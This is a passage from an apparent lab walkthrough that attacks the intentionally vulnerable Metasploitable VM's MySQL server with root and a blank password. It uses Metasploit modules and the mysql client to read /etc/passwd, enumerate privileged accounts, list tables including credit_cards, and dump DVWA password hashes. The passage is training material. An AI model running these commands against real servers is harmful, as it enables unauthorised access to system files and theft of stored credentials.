msf auxiliary(mysql_sql) > show options
 
Module options (auxiliary/admin/mysql/mysql_sql):
 
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  PASSWORD                    no        The password for the specified username
  RHOST                      yes      The target address
  RPORT    3306              yes      The target port
  SQL      select version()  yes      The SQL to execute.
  USERNAME                    no        The username to authenticate as
 
</pre>
 
We'll use the root username and a blank password (as we found in the prior step). The Metasploitable virtualbox uses port 3306 for the sql server, so we'll leave rport alone. We will set RHOST to the IP address of the Metasploitable virtualbox. Finally, the SQL that we will execute is:
 
<pre>
SELECT LOAD_FILE('/etc/passwd')
</pre>
 
This can be set with MSF console like so:
 
<pre>
msf auxiliary(mysql_sql) > set USERNAME root
USERNAME => root
msf auxiliary(mysql_sql) > set PASSWORD ''
PASSWORD =>
msf auxiliary(mysql_sql) > set RHOST 10.0.0.27
RHOST => 10.0.0.27
msf auxiliary(mysql_sql) > set RPORT 3306
RPORT => 3306
msf auxiliary(mysql_sql) > set SQL select load_file(\'/etc/passwd\')
SQL => select load_file('/etc/passwd')
</pre>
 
Now execute:
 
<pre>
msf auxiliary(mysql_sql) > run
 
[*] Sending statement: 'select load_file('/etc/passwd')'...
[*]  | root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
dhcp:x:101:102::/nonexistent:/bin/false
syslog:x:102:103::/home/syslog:/bin/false
klog:x:103:104::/home/klog:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
msfadmin:x:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
bind:x:105:113::/var/cache/bind:/bin/false
postfix:x:106:115::/var/spool/postfix:/bin/false
ftp:x:107:65534::/home/ftp:/bin/false
postgres:x:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
mysql:x:109:118:MySQL Server,,,:/var/lib/mysql:/bin/false
tomcat55:x:110:65534::/usr/share/tomcat5.5:/bin/false
distccd:x:111:65534::/:/bin/false
user:x:1001:1001:just a user,111,,:/home/user:/bin/bash
service:x:1002:1002:,,,:/home/service:/bin/bash
telnetd:x:112:120::/nonexistent:/bin/false
proftpd:x:113:65534::/var/run/proftpd:/bin/false
statd:x:114:65534::/var/lib/nfs:/bin/false
snmp:x:115:65534::/var/lib/snmp:/bin/false
|
[*] Auxiliary module execution completed
msf auxiliary(mysql_sql) >
</pre>
 
==MySQL Enumerate Users==
 
This is the other mysql admin exploit. This one will enumerate (list) all of the MySQL accounts on the system and their various privileges.
 
Using it is as easy as pie. You set the username and password variables to root and blank password, then set the port and remote host ip address. Then you're good to go.
 
<pre>
msf auxiliary(mysql_sql) > use auxiliary/admin/mysql/mysql_enum
msf auxiliary(mysql_enum) > show options
 
Module options (auxiliary/admin/mysql/mysql_enum):
 
  Name      Current Setting  Required  Description
  ----      ---------------  --------  -----------
  PASSWORD                  no        The password for the specified username
  RHOST                      yes      The target address
  RPORT    3306            yes      The target port
  USERNAME                  no        The username to authenticate as
 
msf auxiliary(mysql_enum) > set PASSWORD ''
PASSWORD =>
msf auxiliary(mysql_enum) > set USERNAME root
USERNAME => root
msf auxiliary(mysql_enum) > set RPORT 3306
RPORT => 3306
msf auxiliary(mysql_enum) > set RHOST 10.0.0.27
RHOST => 10.0.0.27
</pre>
 
Now run the exploit and check out the info:
 
<pre>
msf auxiliary(mysql_enum) > run
 
[*] Running MySQL Enumerator...
[*] Enumerating Parameters
[*] MySQL Version: 5.0.51a-3ubuntu5
[*] Compiled for the following OS: debian-linux-gnu
[*] Architecture: i486
[*] Server Hostname: metasploitable
[*] Data Directory: /var/lib/mysql/
[*] Logging of queries and logins: OFF
[*] Old Password Hashing Algorithm OFF
[*] Loading of local files: ON
[*] Logins with old Pre-4.1 Passwords: OFF
[*] Allow Use of symlinks for Database Files: YES
[*] Allow Table Merge: YES
[*] SSL Connections: Enabled
[*] SSL CA Certificate: /etc/mysql/cacert.pem
[*] SSL Key: /etc/mysql/server-key.pem
[*] SSL Certificate: /etc/mysql/server-cert.pem
[*] Enumerating Accounts:
[*] List of Accounts with Password Hashes:
[*] User: debian-sys-maint Host:  Password Hash:
[*] User: root Host: % Password Hash:
[*] User: guest Host: % Password Hash:
[*] The following users have GRANT Privilege:
[*] User: debian-sys-maint Host:
[*] User: root Host: %
[*] User: guest Host: %
[*] The following users have CREATE USER Privilege:
[*] User: root Host: %
[*] User: guest Host: %
[*] The following users have RELOAD Privilege:
[*] User: debian-sys-maint Host:
[*] User: root Host: %
[*] User: guest Host: %
[*] The following users have SHUTDOWN Privilege:
[*] User: debian-sys-maint Host:
[*] User: root Host: %
[*] User: guest Host: %
[*] The following users have SUPER Privilege:
[*] User: debian-sys-maint Host:
[*] User: root Host: %
[*] User: guest Host: %
[*] The following users have FILE Privilege:
[*] User: debian-sys-maint Host:
[*] User: root Host: %
[*] User: guest Host: %
[*] The following users have PROCESS Privilege:
[*] User: debian-sys-maint Host:
[*] User: root Host: %
[*] User: guest Host: %
[*] The following accounts have privileges to the mysql database:
[*] User: debian-sys-maint Host:
[*] User: root Host: %
[*] User: guest Host: %
[*] The following accounts have empty passwords:
[*] User: debian-sys-maint Host:
[*] User: root Host: %
[*] User: guest Host: %
[*] The following accounts are not restricted by source:
[*] User: guest Host: %
[*] User: root Host: %
[*] Auxiliary module execution completed
</pre>
 
Since we already have access to the root user in MySQL, there's no need to brute force other login names. However, if there were many users in a complex database, this might yield a treasure trove of usernames with different privileges, allowing you to see different sections of the database.
 
 
==Dump MySQL Database Contents (SQL Commands)==
 
Use the <code>SHOW DATABASES</code> sql command to show the databases available.
 
Use the <code>USE tablename</code> sql command to use a particular database.
 
Once you've selected a particular database, you can start to explore it. From the list of databases, we can deduce the following:
* computer is running two tikiwiki instances
* dvwa = damn vulnerable web application
 
Remember, the password is blank - just hit enter when prompted for password.
 
<pre>
$ mysql -u root -p -h 10.0.0.27
Enter password:
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 10654
Server version: 5.0.51a-3ubuntu5 (Ubuntu)
 
Copyright (c) 2000, 2015, Oracle and/or its affiliates. All rights reserved.
 
Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.
 
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
 
mysql>
 
mysql> SHOW DATABASES;
+--------------------+
| Database          |
+--------------------+
| information_schema |
| dvwa              |
| metasploit        |
| mysql              |
| owasp10            |
| tikiwiki          |
| tikiwiki195        |
+--------------------+
7 rows in set (0.00 sec)
 
 
</pre>
 
Once you have seen all of the databases, you can pick one and start to print out information about it to see what you can see:
 
{{Scroll box|<pre>
 
mysql> USE information_schema;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
 
Database changed
 
mysql> SHOW TABLES;
+---------------------------------------+
| Tables_in_information_schema          |
+---------------------------------------+
| CHARACTER_SETS                        |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS                              |
| COLUMN_PRIVILEGES                    |
| KEY_COLUMN_USAGE                      |
| PROFILING                            |
| ROUTINES                              |
| SCHEMATA                              |
| SCHEMA_PRIVILEGES                    |
| STATISTICS                            |
| TABLES                                |
| TABLE_CONSTRAINTS                    |
| TABLE_PRIVILEGES                      |
| TRIGGERS                              |
| USER_PRIVILEGES                      |
| VIEWS                                |
+---------------------------------------+
17 rows in set (0.00 sec)
 
mysql> USE dvwa; SHOW TABLES;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
 
Database changed
+----------------+
| Tables_in_dvwa |
+----------------+
| guestbook      |
| users          |
+----------------+
2 rows in set (0.00 sec)
 
mysql> USE metasploit; SHOW TABLES;
Database changed
Empty set (0.00 sec)
 
mysql> USE mysql; SHOW TABLES;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
 
Database changed
+---------------------------+
| Tables_in_mysql          |
+---------------------------+
| columns_priv              |
| db                        |
| func                      |
| help_category            |
| help_keyword              |
| help_relation            |
| help_topic                |
| host                      |
| proc                      |
| procs_priv                |
| tables_priv              |
| time_zone                |
| time_zone_leap_second    |
| time_zone_name            |
| time_zone_transition      |
| time_zone_transition_type |
| user                      |
+---------------------------+
17 rows in set (0.00 sec)
 
mysql> USE owasp10; SHOW TABLES;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
 
Database changed
+-------------------+
| Tables_in_owasp10 |
+-------------------+
| accounts          |
| blogs_table      |
| captured_data    |
| credit_cards      |
| hitlog            |
| pen_test_tools    |
+-------------------+
6 rows in set (0.01 sec)
 
mysql> USE tikiwiki; SHOW TABLES;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
 
^[[ADatabase changed
+------------------------------------+
| Tables_in_tikiwiki                |
+------------------------------------+
| galaxia_activities                |
| galaxia_activity_roles            |
| galaxia_instance_activities        |
| galaxia_instance_comments          |
| galaxia_instances                  |
| galaxia_processes                  |
| galaxia_roles                      |
| galaxia_transitions                |
| galaxia_user_roles                |
| galaxia_workitems                  |
| messu_archive                      |
| messu_messages                    |
| messu_sent                        |
| sessions                          |
| tiki_actionlog                    |
| tiki_article_types                |
| tiki_articles                      |
| tiki_banners                      |
| tiki_banning                      |
| tiki_banning_sections              |
| tiki_blog_activity                |
| tiki_blog_posts                    |
| tiki_blog_posts_images            |
| tiki_blogs                        |
| tiki_calendar_categories          |
| tiki_calendar_items                |
| tiki_calendar_locations            |
| tiki_calendar_roles                |
| tiki_calendars                    |
| tiki_categories                    |
| tiki_categorized_objects          |
| tiki_category_objects              |
| tiki_category_sites                |
| tiki_chart_items                  |
| tiki_charts                        |
| tiki_charts_rankings              |
| tiki_charts_votes                  |
| tiki_chat_channels                |
| tiki_chat_messages                |
| tiki_chat_users                    |
| tiki_comments                      |
| tiki_content                      |
| tiki_content_templates            |
| tiki_content_templates_sections    |
| tiki_cookies                      |
| tiki_copyrights                    |
| tiki_directory_categories          |
| tiki_directory_search              |
| tiki_directory_sites              |
| tiki_download                      |
| tiki_drawings                      |
| tiki_dsn                          |
| tiki_dynamic_variables            |
| tiki_eph                          |
| tiki_extwiki                      |
| tiki_faq_questions                |
| tiki_faqs                          |
| tiki_featured_links                |
| tiki_file_galleries                |
| tiki_file_handlers                |
| tiki_files                        |
| tiki_forum_attachments            |
| tiki_forum_reads                  |
| tiki_forums                        |
| tiki_forums_queue                  |
| tiki_forums_reported              |
| tiki_friends                      |
| tiki_friendship_requests          |
| tiki_galleries                    |
| tiki_galleries_scales              |
| tiki_games                        |
| tiki_group_inclusion              |
| tiki_history                      |
| tiki_hotwords                      |
| tiki_html_pages                    |
| tiki_html_pages_dynamic_zones      |
| tiki_images                        |
| tiki_images_data                  |
| tiki_integrator_reps              |
| tiki_integrator_rules              |
| tiki_language                      |
| tiki_languages                    |
| tiki_link_cache                    |
| tiki_links                        |
| tiki_live_support_events          |
| tiki_live_support_message_comments |
| tiki_live_support_messages        |
| tiki_live_support_modules          |
| tiki_live_support_operators        |
| tiki_live_support_requests        |
| tiki_logs                          |
| tiki_mail_events                  |
| tiki_mailin_accounts              |
| tiki_menu_languages                |
| tiki_menu_options                  |
| tiki_menus                        |
| tiki_minical_events                |
| tiki_minical_topics                |
| tiki_modules                      |
| tiki_newsletter_groups            |
| tiki_newsletter_subscriptions      |
| tiki_newsletters                  |
| tiki_newsreader_marks              |
| tiki_newsreader_servers            |
| tiki_object_ratings                |
| tiki_page_footnotes                |
| tiki_pages                        |
| tiki_pageviews                    |
| tiki_poll_objects                  |
| tiki_poll_options                  |
| tiki_polls                        |
| tiki_preferences                  |
| tiki_private_messages              |
| tiki_programmed_content            |
| tiki_quicktags                    |
| tiki_quiz_question_options        |
| tiki_quiz_questions                |
| tiki_quiz_results                  |
| tiki_quiz_stats                    |
| tiki_quiz_stats_sum                |
| tiki_quizzes                      |
| tiki_received_articles            |
| tiki_received_pages                |
| tiki_referer_stats                |
| tiki_related_categories            |
| tiki_rss_feeds                    |
| tiki_rss_modules                  |
| tiki_score                        |
| tiki_search_stats                  |
| tiki_searchindex                  |
| tiki_searchsyllable                |
| tiki_searchwords                  |
| tiki_secdb                        |
| tiki_semaphores                    |
| tiki_sent_newsletters              |
| tiki_sessions                      |
| tiki_sheet_layout                  |
| tiki_sheet_values                  |
| tiki_sheets                        |
| tiki_shoutbox                      |
| tiki_shoutbox_words                |
| tiki_stats                        |
| tiki_structure_versions            |
| tiki_structures                    |
| tiki_submissions                  |
| tiki_suggested_faq_questions      |
| tiki_survey_question_options      |
| tiki_survey_questions              |
| tiki_surveys                      |
| tiki_tags                          |
| tiki_theme_control_categs          |
| tiki_theme_control_objects        |
| tiki_theme_control_sections        |
| tiki_topics                        |
| tiki_tracker_fields                |
| tiki_tracker_item_attachments      |
| tiki_tracker_item_comments        |
| tiki_tracker_item_fields          |
| tiki_tracker_items                |
| tiki_tracker_options              |
| tiki_trackers                      |
| tiki_translated_objects            |
| tiki_untranslated                  |
| tiki_user_answers                  |
| tiki_user_answers_uploads          |
| tiki_user_assigned_modules        |
| tiki_user_bookmarks_folders        |
| tiki_user_bookmarks_urls          |
| tiki_user_mail_accounts            |
| tiki_user_menus                    |
| tiki_user_modules                  |
| tiki_user_notes                    |
| tiki_user_postings                |
| tiki_user_preferences              |
| tiki_user_quizzes                  |
| tiki_user_taken_quizzes            |
| tiki_user_tasks                    |
| tiki_user_tasks_history            |
| tiki_user_votings                  |
| tiki_user_watches                  |
| tiki_userfiles                    |
| tiki_userpoints                    |
| tiki_users                        |
| tiki_users_score                  |
| tiki_webmail_contacts              |
| tiki_webmail_messages              |
| tiki_wiki_attachments              |
| tiki_zones                        |
| users_grouppermissions            |
| users_groups                      |
| users_objectpermissions            |
| users_permissions                  |
| users_usergroups                  |
| users_users                        |
+------------------------------------+
194 rows in set (0.00 sec)
 
mysql> USE tikiwiki195; SHOW TABLES;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
 
Database changed
+------------------------------------+
| Tables_in_tikiwiki195              |
+------------------------------------+
| galaxia_activities                |
| galaxia_activity_roles            |
| galaxia_instance_activities        |
| galaxia_instance_comments          |
| galaxia_instances                  |
| galaxia_processes                  |
| galaxia_roles                      |
| galaxia_transitions                |
| galaxia_user_roles                |
| galaxia_workitems                  |
| messu_archive                      |
| messu_messages                    |
| messu_sent                        |
| sessions                          |
| tiki_actionlog                    |
| tiki_article_types                |
| tiki_articles                      |
| tiki_banners                      |
| tiki_banning                      |
| tiki_banning_sections              |
| tiki_blog_activity                |
| tiki_blog_posts                    |
| tiki_blog_posts_images            |
| tiki_blogs                        |
| tiki_calendar_categories          |
| tiki_calendar_items                |
| tiki_calendar_locations            |
| tiki_calendar_roles                |
| tiki_calendars                    |
| tiki_categories                    |
| tiki_categorized_objects          |
| tiki_category_objects              |
| tiki_category_sites                |
| tiki_chart_items                  |
| tiki_charts                        |
| tiki_charts_rankings              |
| tiki_charts_votes                  |
| tiki_chat_channels                |
| tiki_chat_messages                |
| tiki_chat_users                    |
| tiki_comments                      |
| tiki_content                      |
| tiki_content_templates            |
| tiki_content_templates_sections    |
| tiki_cookies                      |
| tiki_copyrights                    |
| tiki_directory_categories          |
| tiki_directory_search              |
| tiki_directory_sites              |
| tiki_download                      |
| tiki_drawings                      |
| tiki_dsn                          |
| tiki_dynamic_variables            |
| tiki_eph                          |
| tiki_extwiki                      |
| tiki_faq_questions                |
| tiki_faqs                          |
| tiki_featured_links                |
| tiki_file_galleries                |
| tiki_file_handlers                |
| tiki_files                        |
| tiki_forum_attachments            |
| tiki_forum_reads                  |
| tiki_forums                        |
| tiki_forums_queue                  |
| tiki_forums_reported              |
| tiki_friends                      |
| tiki_friendship_requests          |
| tiki_galleries                    |
| tiki_galleries_scales              |
| tiki_games                        |
| tiki_group_inclusion              |
| tiki_history                      |
| tiki_hotwords                      |
| tiki_html_pages                    |
| tiki_html_pages_dynamic_zones      |
| tiki_images                        |
| tiki_images_data                  |
| tiki_integrator_reps              |
| tiki_integrator_rules              |
| tiki_language                      |
| tiki_languages                    |
| tiki_link_cache                    |
| tiki_links                        |
| tiki_live_support_events          |
| tiki_live_support_message_comments |
| tiki_live_support_messages        |
| tiki_live_support_modules          |
| tiki_live_support_operators        |
| tiki_live_support_requests        |
| tiki_logs                          |
| tiki_mail_events                  |
| tiki_mailin_accounts              |
| tiki_menu_languages                |
| tiki_menu_options                  |
| tiki_menus                        |
| tiki_minical_events                |
| tiki_minical_topics                |
| tiki_modules                      |
| tiki_newsletter_groups            |
| tiki_newsletter_subscriptions      |
| tiki_newsletters                  |
| tiki_newsreader_marks              |
| tiki_newsreader_servers            |
| tiki_object_ratings                |
| tiki_page_footnotes                |
| tiki_pages                        |
| tiki_pageviews                    |
| tiki_poll_objects                  |
| tiki_poll_options                  |
| tiki_polls                        |
| tiki_preferences                  |
| tiki_private_messages              |
| tiki_programmed_content            |
| tiki_quicktags                    |
| tiki_quiz_question_options        |
| tiki_quiz_questions                |
| tiki_quiz_results                  |
| tiki_quiz_stats                    |
| tiki_quiz_stats_sum                |
| tiki_quizzes                      |
| tiki_received_articles            |
| tiki_received_pages                |
| tiki_referer_stats                |
| tiki_related_categories            |
| tiki_rss_feeds                    |
| tiki_rss_modules                  |
| tiki_score                        |
| tiki_search_stats                  |
| tiki_searchindex                  |
| tiki_searchsyllable                |
| tiki_searchwords                  |
| tiki_secdb                        |
| tiki_semaphores                    |
| tiki_sent_newsletters              |
| tiki_sessions                      |
| tiki_sheet_layout                  |
| tiki_sheet_values                  |
| tiki_sheets                        |
| tiki_shoutbox                      |
| tiki_shoutbox_words                |
| tiki_stats                        |
| tiki_structure_versions            |
| tiki_structures                    |
| tiki_submissions                  |
| tiki_suggested_faq_questions      |
| tiki_survey_question_options      |
| tiki_survey_questions              |
| tiki_surveys                      |
| tiki_tags                          |
| tiki_theme_control_categs          |
| tiki_theme_control_objects        |
| tiki_theme_control_sections        |
| tiki_topics                        |
| tiki_tracker_fields                |
| tiki_tracker_item_attachments      |
| tiki_tracker_item_comments        |
| tiki_tracker_item_fields          |
| tiki_tracker_items                |
| tiki_tracker_options              |
| tiki_trackers                      |
| tiki_translated_objects            |
| tiki_untranslated                  |
| tiki_user_answers                  |
| tiki_user_answers_uploads          |
| tiki_user_assigned_modules        |
| tiki_user_bookmarks_folders        |
| tiki_user_bookmarks_urls          |
| tiki_user_mail_accounts            |
| tiki_user_menus                    |
| tiki_user_modules                  |
| tiki_user_notes                    |
| tiki_user_postings                |
| tiki_user_preferences              |
| tiki_user_quizzes                  |
| tiki_user_taken_quizzes            |
| tiki_user_tasks                    |
| tiki_user_tasks_history            |
| tiki_user_votings                  |
| tiki_user_watches                  |
| tiki_userfiles                    |
| tiki_userpoints                    |
| tiki_users                        |
| tiki_users_score                  |
| tiki_webmail_contacts              |
| tiki_webmail_messages              |
| tiki_wiki_attachments              |
| tiki_zones                        |
| users_grouppermissions            |
| users_groups                      |
| users_objectpermissions            |
| users_permissions                  |
| users_usergroups                  |
| users_users                        |
+------------------------------------+
194 rows in set (0.00 sec)
 
mysql>
</pre>
}}
 
Let's start with the juicy-looking owasp10 database.
 
<pre>
mysql> show databases;
+--------------------+
| Database          |
+--------------------+
| information_schema |
| dvwa              |
| metasploit        |
| mysql              |
| owasp10            |
| tikiwiki          |
| tikiwiki195        |
+--------------------+
7 rows in set (0.01 sec)
 
mysql> use owasp10;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
 
Database changed
mysql> show tables;
+-------------------+
| Tables_in_owasp10 |
+-------------------+
| accounts          |
| blogs_table      |
| captured_data    |
| credit_cards      |
| hitlog            |
| pen_test_tools    |
+-------------------+
6 rows in set (0.00 sec)
</pre>
 
We can use the describe command to describe the fields in each SQL table, as well as data types.
 
<pre>
mysql> describe accounts;
+-------------+------------+------+-----+---------+----------------+
| Field      | Type      | Null | Key | Default | Extra          |
+-------------+------------+------+-----+---------+----------------+
| cid        | int(11)    | NO  | PRI | NULL    | auto_increment |
| username    | text      | YES  |    | NULL    |                |
| password    | text      | YES  |    | NULL    |                |
| mysignature | text      | YES  |    | NULL    |                |
| is_admin    | varchar(5) | YES  |    | NULL    |                |
+-------------+------------+------+-----+---------+----------------+
5 rows in set (0.02 sec)
 
mysql> describe credit_cards;
+------------+---------+------+-----+---------+----------------+
| Field      | Type    | Null | Key | Default | Extra          |
+------------+---------+------+-----+---------+----------------+
| ccid      | int(11) | NO  | PRI | NULL    | auto_increment |
| ccnumber  | text    | YES  |    | NULL    |                |
| ccv        | text    | YES  |    | NULL    |                |
| expiration | date    | YES  |    | NULL    |                |
+------------+---------+------+-----+---------+----------------+
4 rows in set (0.01 sec)
 
mysql>
</pre>
 
==Dump MySQL Database Contents (mysqlshow)==
 
You can also use mysqlshow to more easily show the contents of the database. Use the host option to use a remote database.
 
<pre>
root@morpheus:~/box/metasploitable# mysqlshow --host=10.0.0.27
+--------------------+
|    Databases      |
+--------------------+
| information_schema |
| dvwa              |
| metasploit        |
| mysql              |
| owasp10            |
| tikiwiki          |
| tikiwiki195        |
+--------------------+
 
root@morpheus:~/box/metasploitable# mysqlshow --host=10.0.0.27 dvwa
Database: dvwa
+-----------+
|  Tables  |
+-----------+
| guestbook |
| users    |
+-----------+
root@morpheus:~/box/metasploitable# mysqlshow --host=10.0.0.27 --count dvwa
Database: dvwa
+-----------+----------+------------+
|  Tables  | Columns  | Total Rows |
+-----------+----------+------------+
| guestbook |        3 |          1 |
| users    |        6 |          5 |
+-----------+----------+------------+
2 rows in set.
 
</pre>
 
==Dump MySQL Database Contents (mysqldump)==
 
See [[MySQL]] page for usage of mysqldump and a few other examples.
 
Like the mysqlshow command, the mysqldump command accepts the host argument:
 
<pre>
root@morpheus:~/box/metasploitable# mysqldump --host=10.0.0.27 dvwa > dvwa.sql
 
root@morpheus:~/box/metasploitable# cat dvwa.sql
-- MySQL dump 10.13  Distrib 5.5.47, for debian-linux-gnu (x86_64)
--
-- Host: 10.0.0.27    Database: dvwa
-- ------------------------------------------------------
-- Server version 5.0.51a-3ubuntu5
 
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
 
--
-- Not dumping tablespaces as no INFORMATION_SCHEMA.FILES table on this server
--
 
--
-- Table structure for table `guestbook`
--
 
DROP TABLE IF EXISTS `guestbook`;
/*!40101 SET @saved_cs_client    = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `guestbook` (
  `comment_id` smallint(5) unsigned NOT NULL auto_increment,
  `comment` varchar(300) default NULL,
  `name` varchar(100) default NULL,
  PRIMARY KEY  (`comment_id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;
 
--
-- Dumping data for table `guestbook`
--
 
LOCK TABLES `guestbook` WRITE;
/*!40000 ALTER TABLE `guestbook` DISABLE KEYS */;
INSERT INTO `guestbook` VALUES (1,'This is a test comment.','test');
/*!40000 ALTER TABLE `guestbook` ENABLE KEYS */;
UNLOCK TABLES;
 
--
-- Table structure for table `users`
--
 
DROP TABLE IF EXISTS `users`;
/*!40101 SET @saved_cs_client    = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `users` (
  `user_id` int(6) NOT NULL default '0',
  `first_name` varchar(15) default NULL,
  `last_name` varchar(15) default NULL,
  `user` varchar(15) default NULL,
  `password` varchar(32) default NULL,
  `avatar` varchar(70) default NULL,
  PRIMARY KEY  (`user_id`)
) ENGINE=MyISAM DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;
 
--
-- Dumping data for table `users`
--
 
LOCK TABLES `users` WRITE;
/*!40000 ALTER TABLE `users` DISABLE KEYS */;
INSERT INTO `users` VALUES (1,'admin','admin','admin','5f4dcc3b5aa765d61d8327deb882cf99','http://172.16.123.129/dvwa/hackable/users/admin.jpg'),(2,'Gordon','Brown','gordonb','e99a18c428cb38d5f260853678922e03','http://172.16.123.129/dvwa/hackable/users/gordonb.jpg'),(3,'Hack','Me','1337','8d3533d75ae2c3966d7e0d4fcc69216b','http://172.16.123.129/dvwa/hackable/users/1337.jpg'),(4,'Pablo','Picasso','pablo','0d107d09f5bbe40cade3de5c71e9e9b7','http://172.16.123.129/dvwa/hackable/users/pablo.jpg'),(5,'Bob','Smith','smithy','5f4dcc3b5aa765d61d8327deb882cf99','http://172.16.123.129/dvwa/hackable/users/smithy.jpg');
/*!40000 ALTER TABLE `users` ENABLE KEYS */;
UNLOCK TABLES;
/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
 
/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;
 
-- Dump completed on 2016-03-23 21:07:10
</pre>
 
 
 
<pre>
root@morpheus:~/box/metasploitable# mysqldump --host=10.0.0.27 -u root owasp10 > owasp10.sql
root@morpheus:~/box/metasploitable# cat owasp10.sql
-- MySQL dump 10.13  Distrib 5.5.47, for debian-linux-gnu (x86_64)
--
-- Host: 10.0.0.27    Database: owasp10
-- ------------------------------------------------------
-- Server version 5.0.51a-3ubuntu5
 
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
/*!40101 SET NAMES utf8 */;
/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
/*!40103 SET TIME_ZONE='+00:00' */;
/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
 
--
-- Not dumping tablespaces as no INFORMATION_SCHEMA.FILES table on this server
--
 
--
-- Table structure for table `accounts`
--
 
DROP TABLE IF EXISTS `accounts`;
/*!40101 SET @saved_cs_client    = @@character_set_client */;
/*!40101 SET character_set_client = utf8 */;
CREATE TABLE `accounts` (
  `cid` int(11) NOT NULL auto_increment,
  `username` text,
  `password` text,
  `mysignature` text,
  `is_admin` varchar(5) default NULL,
  PRIMARY KEY  (`cid`)
) ENGINE=MyISAM AUTO_INCREMENT=17 DEFAULT CHARSET=latin1;
/*!40101 SET character_set_client = @saved_cs_client */;
 
--
-- Dumping data for table `accounts`
--
 
LOCK TABLES `accounts` WRITE;
/*!40000 ALTER TABLE `accounts` DISABLE KEYS */;
